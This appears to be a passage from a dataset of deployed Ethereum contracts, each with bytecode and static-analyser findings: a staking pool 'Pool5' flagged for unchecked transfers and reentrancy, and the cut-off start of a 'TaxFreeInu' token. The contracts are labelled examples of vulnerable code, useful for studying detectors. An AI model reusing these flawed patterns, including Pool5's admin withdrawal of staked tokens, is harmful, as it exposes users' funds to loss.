6a57600080fd5b610b7f85600a5461195290919063ffffffff16565b600a81905550610bb3662386f26fc10000610ba5600c548861197390919063ffffffff16565b61197390919063ffffffff16565b9350610bbd610dad565b15610bec57610be9600a610bdb600b8761197390919063ffffffff16565b6119b190919063ffffffff16565b93505b610c018460095461195290919063ffffffff16565b92506008548311151515610c1457600080fd5b82600981905550600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb87866040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b158015610ce057600080fd5b505af1158015610cf4573d6000803e3d6000fd5b505050506040513d6020811015610d0a57600080fd5b810190808051906020019092919050505050610d2586611660565b8573ffffffffffffffffffffffffffffffffffffffff167f3667c3933f3528238859fae1999da54783dc0ae281e5285009aa3bba4027382e866040518082815260200191505060405180910390a2505050505050565b60055481565b600b5481565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60006005544210905090565b600c5481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610e1a57600080fd5b80600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614151515610e5757600080fd5b8173ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f1d7f4da50d8af7a6cea3e56e235c952f5a92d4c862da2d587f7b67f6d0156bb260405160405180910390a3816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505050565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610f7257600080fd5b7ffc67e37c62d3879e61235709b31920a3b0f0bd15c1a735547a1334ff69e1875781600754604051808381526020018281526020019250505060405180910390a18060078190555050565b6000600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561101b57600080fd5b828290508585905014151561102f57600080fd5b600090505b8484905081101561109257611087858583818110151561105057fe5b9050602002013573ffffffffffffffffffffffffffffffffffffffff16848484818110151561107b57fe5b90506020020135610aab565b806001019050611034565b5050505050565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156110f557600080fd5b7fe2b8f8a19c5f982e6a13d11783f5fcde709fcb73fcb494c7dd7859e814ebc6e681600c54604051808381526020018281526020019250505060405180910390a180600c8190555050565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561119c57600080fd5b7f81a68f0393e7fcf7505efd75221a666967e8b8f24f18991aab1017bfb7ded4d881600654604051808381526020018281526020019250505060405180910390a18060068190555050565b600080600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561124657600080fd5b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141515156112a357600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561135d57600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc3073ffffffffffffffffffffffffffffffffffffffff16319081150290604051600060405180830381858888f19350505050158015611357573d6000803e3d6000fd5b506115c1565b8291508173ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b1580156113fb57600080fd5b505af115801561140f573d6000803e3d6000fd5b505050506040513d602081101561142557600080fd5b810190808051906020019092919050505090508173ffffffffffffffffffffffffffffffffffffffff1663a9059cbb600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16836040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b1580156114fd57600080fd5b505af1158015611511573d6000803e3d6000fd5b505050506040513d602081101561152757600080fd5b810190808051906020019092919050505050600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f4851d5266113ac968ef5218c6e91c4c5d25940054e41b3d9552a2b1e67f7a45e836040518082815260200191505060405180910390a35b505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561162357600080fd5b600090505b815181101561165c57611651828281518110151561164257fe5b90602001906020020151611660565b806001019050611628565b5050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156116bb57600080fd5b80600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141515156116f857600080fd5b8173ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f10b4173544b8ec09a9e6eec69a952306c53c5432c24c1e5718d4c79eefd7471160405160405180910390a360018060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b600a5481565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561183057600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415151561186c57600080fd5b8073ffffffffffffffffffffffffffffffffffffffff16600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fb532073b38c83145e3e5135377a08bf9aab55bc0fd7c1179cd4fb995d2a5159c60405160405180910390a380600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600080828401905083811015151561196957600080fd5b8091505092915050565b600080600084141561198857600091506119aa565b828402905082848281151561199957fe5b041415156119a657600080fd5b8091505b5092915050565b6000806000831115156119c357600080fd5b82848115156119ce57fe5b04905080915050929150505600a165627a7a72305820389b0d3f4fd94eaeba0e650d1baf30443eee3f2b04630881c82e58f220afb2900029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}]}}
| 4,126 |
0xdbca09e3a1ed5b3d9de500d3477cd82fcf110547
|
pragma solidity 0.6.12;
// SPDX-License-Identifier: BSD-3-Clause
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @dev Library for managing
* https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive
* types.
*
* Sets have the following properties:
*
* - Elements are added, removed, and checked for existence in constant time
* (O(1)).
* - Elements are enumerated in O(n). No guarantees are made on the ordering.
*
* ```
* contract Example {
* // Add the library methods
* using EnumerableSet for EnumerableSet.AddressSet;
*
* // Declare a set state variable
* EnumerableSet.AddressSet private mySet;
* }
* ```
*
* As of v3.0.0, only sets of type `address` (`AddressSet`) and `uint256`
* (`UintSet`) are supported.
*/
library EnumerableSet {
// To implement this library for multiple types with as little code
// repetition as possible, we write it in terms of a generic Set type with
// bytes32 values.
// The Set implementation uses private functions, and user-facing
// implementations (such as AddressSet) are just wrappers around the
// underlying Set.
// This means that we can only create new EnumerableSets for types that fit
// in bytes32.
struct Set {
// Storage of set values
bytes32[] _values;
// Position of the value in the `values` array, plus 1 because index 0
// means a value is not in the set.
mapping (bytes32 => uint256) _indexes;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function _add(Set storage set, bytes32 value) private returns (bool) {
if (!_contains(set, value)) {
set._values.push(value);
// The value is stored at length-1, but we add 1 to all indexes
// and use 0 as a sentinel value
set._indexes[value] = set._values.length;
return true;
} else {
return false;
}
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function _remove(Set storage set, bytes32 value) private returns (bool) {
// We read and store the value's index to prevent multiple reads from the same storage slot
uint256 valueIndex = set._indexes[value];
if (valueIndex != 0) { // Equivalent to contains(set, value)
// To delete an element from the _values array in O(1), we swap the element to delete with the last one in
// the array, and then remove the last element (sometimes called as 'swap and pop').
// This modifies the order of the array, as noted in {at}.
uint256 toDeleteIndex = valueIndex - 1;
uint256 lastIndex = set._values.length - 1;
// When the value to delete is the last one, the swap operation is unnecessary. However, since this occurs
// so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement.
bytes32 lastvalue = set._values[lastIndex];
// Move the last value to the index where the value to delete is
set._values[toDeleteIndex] = lastvalue;
// Update the index for the moved value
set._indexes[lastvalue] = toDeleteIndex + 1; // All indexes are 1-based
// Delete the slot where the moved value was stored
set._values.pop();
// Delete the index for the deleted slot
delete set._indexes[value];
return true;
} else {
return false;
}
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function _contains(Set storage set, bytes32 value) private view returns (bool) {
return set._indexes[value] != 0;
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function _length(Set storage set) private view returns (uint256) {
return set._values.length;
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function _at(Set storage set, uint256 index) private view returns (bytes32) {
require(set._values.length > index, "EnumerableSet: index out of bounds");
return set._values[index];
}
// AddressSet
struct AddressSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(AddressSet storage set, address value) internal returns (bool) {
return _add(set._inner, bytes32(uint256(value)));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(AddressSet storage set, address value) internal returns (bool) {
return _remove(set._inner, bytes32(uint256(value)));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(AddressSet storage set, address value) internal view returns (bool) {
return _contains(set._inner, bytes32(uint256(value)));
}
/**
* @dev Returns the number of values in the set. O(1).
*/
function length(AddressSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(AddressSet storage set, uint256 index) internal view returns (address) {
return address(uint256(_at(set._inner, index)));
}
// UintSet
struct UintSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(UintSet storage set, uint256 value) internal returns (bool) {
return _add(set._inner, bytes32(value));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(UintSet storage set, uint256 value) internal returns (bool) {
return _remove(set._inner, bytes32(value));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(UintSet storage set, uint256 value) internal view returns (bool) {
return _contains(set._inner, bytes32(value));
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function length(UintSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(UintSet storage set, uint256 index) internal view returns (uint256) {
return uint256(_at(set._inner, index));
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public admin;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() public {
admin = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == admin);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
emit OwnershipTransferred(admin, newOwner);
admin = newOwner;
}
}
interface Token {
function transferFrom(address, address, uint) external returns (bool);
function transfer(address, uint) external returns (bool);
}
contract Pool5 is Ownable {
using SafeMath for uint;
using EnumerableSet for EnumerableSet.AddressSet;
event RewardsTransferred(address holder, uint amount);
address public tokenAddress;
address public liquiditytoken1;
// reward rate % per year
uint public rewardRate = 60000;
uint public rewardInterval = 365 days;
// staking fee percent
uint public stakingFeeRate = 0;
// unstaking fee percent
uint public unstakingFeeRate = 0;
// unstaking possible Time
uint public PossibleUnstakeTime = 24 hours;
uint public totalClaimedRewards = 0;
uint private FundedTokens;
bool public stakingStatus = false;
EnumerableSet.AddressSet private holders;
mapping (address => uint) public depositedTokens;
mapping (address => uint) public stakingTime;
mapping (address => uint) public lastClaimedTime;
mapping (address => uint) public totalEarnedTokens;
/*=============================ADMINISTRATIVE FUNCTIONS ==================================*/
function setTokenAddresses(address _tokenAddr, address _liquidityAddr) public onlyOwner returns(bool){
require(_tokenAddr != address(0) && _liquidityAddr != address(0), "Invalid addresses format are not supported");
tokenAddress = _tokenAddr;
liquiditytoken1 = _liquidityAddr;
}
function stakingFeeRateSet(uint _stakingFeeRate, uint _unstakingFeeRate) public onlyOwner returns(bool){
stakingFeeRate = _stakingFeeRate;
unstakingFeeRate = _unstakingFeeRate;
}
function rewardRateSet(uint _rewardRate) public onlyOwner returns(bool){
rewardRate = _rewardRate;
}
function StakingReturnsAmountSet(uint _poolreward) public onlyOwner returns(bool){
FundedTokens = _poolreward;
}
function possibleUnstakeTimeSet(uint _possibleUnstakeTime) public onlyOwner returns(bool){
PossibleUnstakeTime = _possibleUnstakeTime;
}
function rewardIntervalSet(uint _rewardInterval) public onlyOwner returns(bool){
rewardInterval = _rewardInterval;
}
function allowStaking(bool _status) public onlyOwner returns(bool){
require(tokenAddress != address(0) && liquiditytoken1 != address(0), "Interracting token addresses are not yet configured");
stakingStatus = _status;
}
function transferAnyERC20Tokens(address _tokenAddr, address _to, uint _amount) public onlyOwner {
if (_tokenAddr == tokenAddress) {
if (_amount > getFundedTokens()) {
revert();
}
totalClaimedRewards = totalClaimedRewards.add(_amount);
}
Token(_tokenAddr).transfer(_to, _amount);
}
function updateAccount(address account) private {
uint unclaimedDivs = getUnclaimedDivs(account);
if (unclaimedDivs > 0) {
require(Token(tokenAddress).transfer(account, unclaimedDivs), "Could not transfer tokens.");
totalEarnedTokens[account] = totalEarnedTokens[account].add(unclaimedDivs);
totalClaimedRewards = totalClaimedRewards.add(unclaimedDivs);
emit RewardsTransferred(account, unclaimedDivs);
}
lastClaimedTime[account] = now;
}
function getUnclaimedDivs(address _holder) public view returns (uint) {
if (!holders.contains(_holder)) return 0;
if (depositedTokens[_holder] == 0) return 0;
uint timeDiff = now.sub(lastClaimedTime[_holder]);
uint stakedAmount = depositedTokens[_holder];
uint unclaimedDivs = stakedAmount
.mul(rewardRate)
.mul(timeDiff)
.div(rewardInterval)
.div(1e4);
return unclaimedDivs;
}
function getNumberOfHolders() public view returns (uint) {
return holders.length();
}
function place(uint amountToStake) public {
require(stakingStatus == true, "Staking is not yet initialized");
require(amountToStake > 0, "Cannot deposit 0 Tokens");
require(Token(liquiditytoken1).transferFrom(msg.sender, address(this), amountToStake), "Insufficient Token Allowance");
updateAccount(msg.sender);
uint fee = amountToStake.mul(stakingFeeRate).div(1e4);
uint amountAfterFee = amountToStake.sub(fee);
require(Token(liquiditytoken1).transfer(admin, fee), "Could not transfer deposit fee.");
depositedTokens[msg.sender] = depositedTokens[msg.sender].add(amountAfterFee);
if (!holders.contains(msg.sender)) {
holders.add(msg.sender);
stakingTime[msg.sender] = now;
}
}
function lift(uint amountToWithdraw) public {
require(depositedTokens[msg.sender] >= amountToWithdraw, "Invalid amount to withdraw");
require(now.sub(stakingTime[msg.sender]) > PossibleUnstakeTime, "You have not staked for a while yet, kindly wait a bit more");
updateAccount(msg.sender);
uint fee = amountToWithdraw.mul(unstakingFeeRate).div(1e4);
uint amountAfterFee = amountToWithdraw.sub(fee);
require(Token(liquiditytoken1).transfer(admin, fee), "Could not transfer withdraw fee.");
require(Token(liquiditytoken1).transfer(msg.sender, amountAfterFee), "Could not transfer tokens.");
depositedTokens[msg.sender] = depositedTokens[msg.sender].sub(amountToWithdraw);
if (holders.contains(msg.sender) && depositedTokens[msg.sender] == 0) {
holders.remove(msg.sender);
}
}
function claimYields() public {
updateAccount(msg.sender);
}
function getFundedTokens() public view returns (uint) {
if (totalClaimedRewards >= FundedTokens) {
return 0;
}
uint remaining = FundedTokens.sub(totalClaimedRewards);
return remaining;
}
}
|
0x608060405234801561001057600080fd5b50600436106101cf5760003560e01c80636a395ccb11610104578063c326bf4f116100a2578063f2fde38b11610071578063f2fde38b14610445578063f3073ee71461046b578063f3f91fa01461048a578063f851a440146104b0576101cf565b8063c326bf4f14610407578063d578ceab1461042d578063d816c7d514610435578063f1587ea11461043d576101cf565b8063a89c8c5e116100de578063a89c8c5e14610397578063b52b50e4146103c5578063bec4de3f146103e2578063c0a6d78b146103ea576101cf565b80636a395ccb146103515780637b0a47ee146103875780639d76ea581461038f576101cf565b8063455ab53c11610171578063583d42fd1161014b578063583d42fd146102f55780635ef057be1461031b5780636270cd18146103235780636654ffdf14610349576101cf565b8063455ab53c146102b35780634908e386146102bb57806352cd0d40146102d8576101cf565b80632f278fe8116101ad5780632f278fe814610261578063308feec31461026b57806337c5785a146102735780633844317714610296576101cf565b8063069ca4d0146101d45780631e94723f146102055780632ec14e851461023d575b600080fd5b6101f1600480360360208110156101ea57600080fd5b50356104b8565b604080519115158252519081900360200190f35b61022b6004803603602081101561021b57600080fd5b50356001600160a01b03166104d9565b60408051918252519081900360200190f35b610245610592565b604080516001600160a01b039092168252519081900360200190f35b6102696105a1565b005b61022b6105ac565b6101f16004803603604081101561028957600080fd5b50803590602001356105be565b6101f1600480360360208110156102ac57600080fd5b50356105e2565b6101f1610603565b6101f1600480360360208110156102d157600080fd5b503561060c565b610269600480360360208110156102ee57600080fd5b503561062d565b61022b6004803603602081101561030b57600080fd5b50356001600160a01b0316610932565b61022b610944565b61022b6004803603602081101561033957600080fd5b50356001600160a01b031661094a565b61022b61095c565b6102696004803603606081101561036757600080fd5b506001600160a01b03813581169160208101359091169060400135610962565b61022b610a3c565b610245610a42565b6101f1600480360360408110156103ad57600080fd5b506001600160a01b0381358116916020013516610a51565b610269600480360360208110156103db57600080fd5b5035610af7565b61022b610dec565b6101f16004803603602081101561040057600080fd5b5035610df2565b61022b6004803603602081101561041d57600080fd5b50356001600160a01b0316610e13565b61022b610e25565b61022b610e2b565b61022b610e31565b6102696004803603602081101561045b57600080fd5b50356001600160a01b0316610e65565b6101f16004803603602081101561048157600080fd5b50351515610eea565b61022b600480360360208110156104a057600080fd5b50356001600160a01b0316610f76565b610245610f88565b600080546001600160a01b031633146104d057600080fd5b60049190915590565b60006104e6600b83610f97565b6104f25750600061058d565b6001600160a01b0382166000908152600d60205260409020546105175750600061058d565b6001600160a01b0382166000908152600f602052604081205461053b904290610fb5565b6001600160a01b0384166000908152600d60205260408120546004546003549394509092610587916127109161058191908290889061057b908990610fc7565b90610fc7565b90610fe7565b93505050505b919050565b6002546001600160a01b031681565b6105aa33610ffc565b565b60006105b8600b611190565b90505b90565b600080546001600160a01b031633146105d657600080fd5b60059290925560065590565b600080546001600160a01b031633146105fa57600080fd5b60099190915590565b600a5460ff1681565b600080546001600160a01b0316331461062457600080fd5b60039190915590565b336000908152600d6020526040902054811115610691576040805162461bcd60e51b815260206004820152601a60248201527f496e76616c696420616d6f756e7420746f207769746864726177000000000000604482015290519081900360640190fd5b600754336000908152600e60205260409020546106af904290610fb5565b116106eb5760405162461bcd60e51b815260040180806020018281038252603b815260200180611301603b913960400191505060405180910390fd5b6106f433610ffc565b600061071161271061058160065485610fc790919063ffffffff16565b9050600061071f8383610fb5565b600254600080546040805163a9059cbb60e01b81526001600160a01b03928316600482015260248101889052905194955092169263a9059cbb926044808201936020939283900390910190829087803b15801561077b57600080fd5b505af115801561078f573d6000803e3d6000fd5b505050506040513d60208110156107a557600080fd5b50516107f8576040805162461bcd60e51b815260206004820181905260248201527f436f756c64206e6f74207472616e73666572207769746864726177206665652e604482015290519081900360640190fd5b6002546040805163a9059cbb60e01b81523360048201526024810184905290516001600160a01b039092169163a9059cbb916044808201926020929091908290030181600087803b15801561084c57600080fd5b505af1158015610860573d6000803e3d6000fd5b505050506040513d602081101561087657600080fd5b50516108c9576040805162461bcd60e51b815260206004820152601a60248201527f436f756c64206e6f74207472616e7366657220746f6b656e732e000000000000604482015290519081900360640190fd5b336000908152600d60205260409020546108e39084610fb5565b336000818152600d602052604090209190915561090290600b90610f97565b801561091b5750336000908152600d6020526040902054155b1561092d5761092b600b3361119b565b505b505050565b600e6020526000908152604090205481565b60055481565b60106020526000908152604090205481565b60075481565b6000546001600160a01b0316331461097957600080fd5b6001546001600160a01b03848116911614156109b457610997610e31565b8111156109a357600080fd5b6008546109b090826111b0565b6008555b826001600160a01b031663a9059cbb83836040518363ffffffff1660e01b815260040180836001600160a01b0316815260200182815260200192505050602060405180830381600087803b158015610a0b57600080fd5b505af1158015610a1f573d6000803e3d6000fd5b505050506040513d6020811015610a3557600080fd5b5050505050565b60035481565b6001546001600160a01b031681565b600080546001600160a01b03163314610a6957600080fd5b6001600160a01b03831615801590610a8957506001600160a01b03821615155b610ac45760405162461bcd60e51b815260040180806020018281038252602a81526020018061136f602a913960400191505060405180910390fd5b600180546001600160a01b039485166001600160a01b031991821617909155600280549390941692169190911790915590565b600a5460ff161515600114610b53576040805162461bcd60e51b815260206004820152601e60248201527f5374616b696e67206973206e6f742079657420696e697469616c697a65640000604482015290519081900360640190fd5b60008111610ba8576040805162461bcd60e51b815260206004820152601760248201527f43616e6e6f74206465706f736974203020546f6b656e73000000000000000000604482015290519081900360640190fd5b600254604080516323b872dd60e01b81523360048201523060248201526044810184905290516001600160a01b03909216916323b872dd916064808201926020929091908290030181600087803b158015610c0257600080fd5b505af1158015610c16573d6000803e3d6000fd5b505050506040513d6020811015610c2c57600080fd5b5051610c7f576040805162461bcd60e51b815260206004820152601c60248201527f496e73756666696369656e7420546f6b656e20416c6c6f77616e636500000000604482015290519081900360640190fd5b610c8833610ffc565b6000610ca561271061058160055485610fc790919063ffffffff16565b90506000610cb38383610fb5565b600254600080546040805163a9059cbb60e01b81526001600160a01b03928316600482015260248101889052905194955092169263a9059cbb926044808201936020939283900390910190829087803b158015610d0f57600080fd5b505af1158015610d23573d6000803e3d6000fd5b505050506040513d6020811015610d3957600080fd5b5051610d8c576040805162461bcd60e51b815260206004820152601f60248201527f436f756c64206e6f74207472616e73666572206465706f736974206665652e00604482015290519081900360640190fd5b336000908152600d6020526040902054610da690826111b0565b336000818152600d6020526040902091909155610dc590600b90610f97565b61092d57610dd4600b336111bf565b50336000908152600e60205260409020429055505050565b60045481565b600080546001600160a01b03163314610e0a57600080fd5b60079190915590565b600d6020526000908152604090205481565b60085481565b60065481565b600060095460085410610e46575060006105bb565b6000610e5f600854600954610fb590919063ffffffff16565b91505090565b6000546001600160a01b03163314610e7c57600080fd5b6001600160a01b038116610e8f57600080fd5b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b600080546001600160a01b03163314610f0257600080fd5b6001546001600160a01b031615801590610f2657506002546001600160a01b031615155b610f615760405162461bcd60e51b815260040180806020018281038252603381526020018061133c6033913960400191505060405180910390fd5b600a805460ff19169215159290921790915590565b600f6020526000908152604090205481565b6000546001600160a01b031681565b6000610fac836001600160a01b0384166111d4565b90505b92915050565b600082821115610fc157fe5b50900390565b6000828202831580610fe1575082848281610fde57fe5b04145b610fac57fe5b600080828481610ff357fe5b04949350505050565b6000611007826104d9565b90508015611173576001546040805163a9059cbb60e01b81526001600160a01b038581166004830152602482018590529151919092169163a9059cbb9160448083019260209291908290030181600087803b15801561106557600080fd5b505af1158015611079573d6000803e3d6000fd5b505050506040513d602081101561108f57600080fd5b50516110e2576040805162461bcd60e51b815260206004820152601a60248201527f436f756c64206e6f74207472616e7366657220746f6b656e732e000000000000604482015290519081900360640190fd5b6001600160a01b03821660009081526010602052604090205461110590826111b0565b6001600160a01b03831660009081526010602052604090205560085461112b90826111b0565b600855604080516001600160a01b03841681526020810183905281517f586b2e63a21a7a4e1402e36f48ce10cb1ec94684fea254c186b76d1f98ecf130929181900390910190a15b506001600160a01b03166000908152600f60205260409020429055565b6000610faf826111ec565b6000610fac836001600160a01b0384166111f0565b600082820183811015610fac57fe5b6000610fac836001600160a01b0384166112b6565b60009081526001919091016020526040902054151590565b5490565b600081815260018301602052604081205480156112ac578354600019808301919081019060009087908390811061122357fe5b906000526020600020015490508087600001848154811061124057fe5b60009182526020808320909101929092558281526001898101909252604090209084019055865487908061127057fe5b60019003818190600052602060002001600090559055866001016000878152602001908152602001600020600090556001945050505050610faf565b6000915050610faf565b60006112c283836111d4565b6112f857508154600181810184556000848152602080822090930184905584548482528286019093526040902091909155610faf565b506000610faf56fe596f752068617665206e6f74207374616b656420666f722061207768696c65207965742c206b696e646c792077616974206120626974206d6f7265496e74657272616374696e6720746f6b656e2061646472657373657320617265206e6f742079657420636f6e66696775726564496e76616c69642061646472657373657320666f726d617420617265206e6f7420737570706f72746564a2646970667358221220a60e9d366fd54ead4b2490b66743b54a3957dd69c37b5b1c915edde54d2b3fb364736f6c634300060c0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 4,127 |
0x48fdfa92f55a5c4bb500713ed0ee60254ad3fb59
|
/**
*Submitted for verification at Etherscan.io on 2022-04-30
*/
/**
*Submitted for verification at Etherscan.io on 2022-04-26
*/
/*
TAXFREEINU
0% TAX BUY & SELL
PUT LOW SLIPPAGE
TG : https://t.me/TaxFreeInu
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.13;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract TAXFREEINU is Context, IERC20, Ownable { ////
mapping (address => uint) private _owned;
mapping (address => mapping (address => uint)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => User) private cooldown;
mapping (address => bool) private _isBot;
uint private constant _totalSupply = 1e6 * 10**9;
string public constant name = unicode"TaxFreeInu"; ////
string public constant symbol = unicode"TFI"; ////
uint8 public constant decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address payable private _MarketingWallet;
address payable private _DevWallet;
address public uniswapV2Pair;
uint public _buyFee = 0;
uint public _sellFee = 0;
uint public _feeRate = 9;
uint public _maxBuyAmount;
uint public _maxHeldTokens;
